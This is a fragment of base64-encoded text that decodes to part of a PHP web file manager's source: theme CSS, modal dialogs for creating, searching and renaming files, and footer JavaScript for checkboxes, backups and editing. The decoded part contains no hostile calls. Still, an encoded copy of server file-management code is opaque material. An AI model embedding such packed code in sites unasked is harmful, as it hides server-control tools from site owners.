yOiAjQ0ZEOERDICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkLFxuICAgICAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzM0MzQzNDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQgLmN1c3RvbS1jb250cm9sLWlucHV0LFxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC50YWJsZS1ib3JkZXJlZCB0aCAuY3VzdG9tLWNvbnRyb2wtaW5wdXQge1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwLjY3ODtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgZm9ybS5kcm9wem9uZSB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICA8XC9zdHlsZT5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgPFwvaGVhZD5cblxuICAgIDxib2R5IGNsYXNzPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PlwiPlxuICAgICAgICA8ZGl2IGlkPVwid3JhcHBlclwiIGNsYXNzPVwiY29udGFpbmVyLWZsdWlkXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgZmFkZVwiIGlkPVwiY3JlYXRlTmV3SXRlbVwiIHRhYmluZGV4PVwiLTFcIiByb2xlPVwiZGlhbG9nXCIgZGF0YS1icy1iYWNrZHJvcD1cInN0YXRpY1wiIGRhdGEtYnMta2V5Ym9hcmQ9XCJmYWxzZVwiIGFyaWEtbGFiZWxsZWRieT1cIm5ld0l0ZW1Nb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIiBtZXRob2Q9XCJwb3N0XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtaGVhZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibW9kYWwtdGl0bGVcIiBpZD1cIm5ld0l0ZW1Nb2RhbExhYmVsXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZSBmYS1md1wiPjxcL2k+PD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5ld0l0ZW0nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxsYWJlbCBmb3I9XCJuZXdmaWxlXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1UeXBlJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cInJhZGlvXCIgbmFtZT1cIm5ld2ZpbGVcIiBpZD1cImN1c3RvbVJhZGlvSW5saW5lMVwiIG5hbWU9XCJuZXdmaWxlXCIgdmFsdWU9XCJmaWxlXCIgY2hlY2tlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiZm9ybS1jaGVjay1sYWJlbFwiIGZvcj1cImN1c3RvbVJhZGlvSW5saW5lMVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvcm0tY2hlY2sgZm9ybS1jaGVjay1pbmxpbmVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiZm9ybS1jaGVjay1pbnB1dFwiIHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJuZXdmaWxlXCIgaWQ9XCJjdXN0b21SYWRpb0lubGluZTJcIiB2YWx1ZT1cImZvbGRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9XCJmb3JtLWNoZWNrLWxhYmVsXCIgZm9yPVwiY3VzdG9tUmFkaW9JbmxpbmUyXCI+PD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtdC0zXCI+PGxhYmVsIGZvcj1cIm5ld2ZpbGVuYW1lXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1OYW1lJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3ZmlsZW5hbWVcIiBpZD1cIm5ld2ZpbGVuYW1lXCIgdmFsdWU9XCJcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIGhlcmUuLi4nKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWZvb3RlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5vdycpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsIGZhZGVcIiBpZD1cInNlYXJjaE1vZGFsXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBhcmlhLWxhYmVsbGVkYnk9XCJzZWFyY2hNb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZyBtb2RhbC1sZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtY29udGVudFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz1cIm1vZGFsLXRpdGxlIGNvbC0xMFwiIGlkPVwic2VhcmNoTW9kYWxMYWJlbFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAgbWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBwbGFjZWhvbGRlcj1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiA8P3BocCBlY2hvIGxuZygnYSBmaWxlcycpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24zXCIgaWQ9XCJhZHZhbmNlZC1zZWFyY2hcIiBhdXRvZm9jdXMgcmVxdWlyZWQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHRcIiBpZD1cInNlYXJjaC1hZGRvbjNcIj48aSBjbGFzcz1cImZhIGZhLXNlYXJjaFwiPjxcL2k+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImxkcy1mYWNlYm9va1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+PFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD1cInNlYXJjaC13cmFwcGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cIm0tMlwiPjw/cGhwIGVjaG8gbG5nKCdTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nKSA/PjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgIDwhLS1SZW5hbWUgTW9kYWwgLS0+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnRcIiBkYXRhLWJzLWJhY2tkcm9wPVwic3RhdGljXCIgZGF0YS1icy1rZXlib2FyZD1cImZhbHNlXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBpZD1cInJlbmFtZURhaWxvZ1wiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1kaWFsb2dcIiByb2xlPVwiZG9jdW1lbnRcIj5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9XCJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3dcIiBtZXRob2Q9XCJwb3N0XCIgYXV0b2NvbXBsZXRlPVwib2ZmXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9XCJtYi0zXCI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwibWItMVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwicmVuYW1lX3RvXCIgaWQ9XCJqcy1yZW5hbWUtdG9cIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIG5ldyBmaWxlIG5hbWUnKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInJlbmFtZV9mcm9tXCIgaWQ9XCJqcy1yZW5hbWUtZnJvbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48XC9zdHJvbmc+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPCEtLSBDb25maXJtIE1vZGFsIC0tPlxuICAgICAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvaHRtbFwiIGlkPVwianMtdHBsLWNvbmZpcm1cIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnQgY29uZmlybURhaWxvZ1wiIGRhdGEtYnMtYmFja2Ryb3A9XCJzdGF0aWNcIiBkYXRhLWJzLWtleWJvYXJkPVwiZmFsc2VcIiB0YWJpbmRleD1cIi0xXCIgcm9sZT1cImRpYWxvZ1wiIGlkPVwiY29uZmlybURhaWxvZy08JXRoaXMuaWQlPlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZGlhbG9nXCIgcm9sZT1cImRvY3VtZW50XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvd1wiIG1ldGhvZD1cInBvc3RcIiBhdXRvY29tcGxldGU9XCJvZmZcIiBhY3Rpb249XCI8JXRoaXMuYWN0aW9uJT5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibWItMlwiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0bycpID8+IDwldGhpcy50aXRsZSU+ID88XC9oNT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtYi0xXCI+PCV0aGlzLmNvbnRlbnQlPjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1mb290ZXIgZmxleC1ub3dyYXAgcC0wXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIiBkYXRhLWJzLWRpc21pc3M9XCJtb2RhbFwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ09rYXknKSA/PjxcL3N0cm9uZz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBwYWdlIGZvb3RlciBhZnRlciBsb2dpblxuICAgICAqXC9cbiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3RlcigpXG4gICAge1xuICAgICAgICA/PlxuICAgICAgICA8XC9kaXY+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5LWRhdGF0YWJsZXMnKTsgPz5cbiAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyAmJiBpc3NldCgkX0dFVFsndmlldyddKSk6ID8+XG4gICAgICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgaGxqcy5oaWdobGlnaHRBbGwoKTtcbiAgICAgICAgICAgICAgICB2YXIgaXNIaWdobGlnaHRpbmdFbmFibGVkID0gdHJ1ZTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICBmdW5jdGlvbiB0ZW1wbGF0ZShodG1sLCBvcHRpb25zKSB7XG4gICAgICAgICAgICAgICAgdmFyIHJlID0gXC88XFwlKFteXFwlPl0rKT9cXCU+XC9nLFxuICAgICAgICAgICAgICAgICAgICByZUV4cCA9IFwvKF4oICk/KGlmfGZvcnxlbHNlfHN3aXRjaHxjYXNlfGJyZWFrfHt8fSkpKC4qKT9cL2csXG4gICAgICAgICAgICAgICAgICAgIGNvZGUgPSAndmFyIHI9W107XFxuJyxcbiAgICAgICAgICAgICAgICAgICAgY3Vyc29yID0gMCxcbiAgICAgICAgICAgICAgICAgICAgbWF0Y2g7XG4gICAgICAgICAgICAgICAgdmFyIGFkZCA9IGZ1bmN0aW9uKGxpbmUsIGpzKSB7XG4gICAgICAgICAgICAgICAgICAgIGpzID8gKGNvZGUgKz0gbGluZS5tYXRjaChyZUV4cCkgPyBsaW5lICsgJ1xcbicgOiAnci5wdXNoKCcgKyBsaW5lICsgJyk7XFxuJykgOiAoY29kZSArPSBsaW5lICE9ICcnID8gJ3IucHVzaChcIicgKyBsaW5lLnJlcGxhY2UoXC9cIlwvZywgJ1xcXFxcIicpICsgJ1wiKTtcXG4nIDogJycpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gYWRkXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHdoaWxlIChtYXRjaCA9IHJlLmV4ZWMoaHRtbCkpIHtcbiAgICAgICAgICAgICAgICAgICAgYWRkKGh0bWwuc2xpY2UoY3Vyc29yLCBtYXRjaC5pbmRleCkpKG1hdGNoWzFdLCAhMCk7XG4gICAgICAgICAgICAgICAgICAgIGN1cnNvciA9IG1hdGNoLmluZGV4ICsgbWF0Y2hbMF0ubGVuZ3RoXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsIGh0bWwubGVuZ3RoIC0gY3Vyc29yKSk7XG4gICAgICAgICAgICAgICAgY29kZSArPSAncmV0dXJuIHIuam9pbihcIlwiKTsnO1xuICAgICAgICAgICAgICAgIHJldHVybiBuZXcgRnVuY3Rpb24oY29kZS5yZXBsYWNlKFwvW1xcclxcdFxcbl1cL2csICcnKSkuYXBwbHkob3B0aW9ucylcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gcmVuYW1lKGUsIHQpIHtcbiAgICAgICAgICAgICAgICBpZiAodCkge1xuICAgICAgICAgICAgICAgICAgICAkKFwiI2pzLXJlbmFtZS1mcm9tXCIpLnZhbCh0KTtcbiAgICAgICAgICAgICAgICAgICAgJChcIiNqcy1yZW5hbWUtdG9cIikudmFsKHQpO1xuICAgICAgICAgICAgICAgICAgICAkKFwiI3JlbmFtZURhaWxvZ1wiKS5tb2RhbCgnc2hvdycpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY2hhbmdlX2NoZWNrYm94ZXMoZSwgdCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSBcImJvb2xlYW5cIiA9PSB0eXBlb2YgdCA/IHQgOiAhZVtuXS5jaGVja2VkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGdldF9jaGVja2JveGVzKCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIGUgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZShcImZpbGVbXVwiKSwgdCA9IFtdLCBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkoZVtuXS50eXBlID0gXCJjaGVja2JveFwiKSAmJiB0LnB1c2goZVtuXSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHtcbiAgICAgICAgICAgICAgICBjaGFuZ2VfY2hlY2tib3hlcyhnZXRfY2hlY2tib3hlcygpLCAhMClcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdW5zZWxlY3RfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCksICExKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBpbnZlcnRfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHtcbiAgICAgICAgICAgICAgICB2YXIgZSA9IGdldF9jaGVja2JveGVzKCk7XG4gICAgICAgICAgICAgICAgZS5wdXNoKHRoaXMpLCBjaGFuZ2VfY2hlY2tib3hlcyhlKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBiYWNrdXAoZSwgdCkge1xuICAgICAgICAgICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LFxuICAgICAgICAgICAgICAgICAgICBhID0gXCJwYXRoPVwiICsgZSArIFwiJmZpbGU9XCIgKyB0ICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJnR5cGU9YmFja3VwJmFqYXg9dHJ1ZVwiO1xuICAgICAgICAgICAgICAgIHJldHVybiBuLm9wZW4oXCJQT1NUXCIsIFwiXCIsICEwKSwgbi5zZXRSZXF1ZXN0SGVhZGVyKFwiQ29udGVudC10eXBlXCIsIFwiYXBwbGljYXRpb25cL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFwiKSwgbi5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgNCA9PSBuLnJlYWR5U3RhdGUgJiYgMjAwID09IG4uc3RhdHVzICYmIHRvYXN0KG4ucmVzcG9uc2VUZXh0KVxuICAgICAgICAgICAgICAgIH0sIG4uc2VuZChhKSwgITFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdG9hc3QodHh0KSB7XG4gICAgICAgICAgICAgICAgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcInNuYWNrYmFyXCIpO1xuICAgICAgICAgICAgICAgIHguaW5uZXJIVE1MID0gdHh0O1xuICAgICAgICAgICAgICAgIHguY2xhc3NOYW1lID0gXCJzaG93XCI7XG4gICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgeC5jbGFzc05hbWUgPSB4LmNsYXNzTmFtZS5yZXBsYWNlKFwic2hvd1wiLCBcIlwiKTtcbiAgICAgICAgICAgICAgICB9LCAzMDAwKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZWRpdF9zYXZlKGUsIHQpIHtcbiAgICAgICAgICAgICAgICB2YXIgbiA9IFwiYWNlXCIgPT0gdCA/IGVkaXRvci5nZXRTZXNzaW9uKCkuZ2V0VmFsdWUoKSA6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwibm9ybWFsLWVkaXRvclwiKS52YWx1ZTtcbiAgICAgICAgICAgICAgICBpZiAodHlwZW9mIG4gIT09ICd1bmRlZmluZWQnICYmIG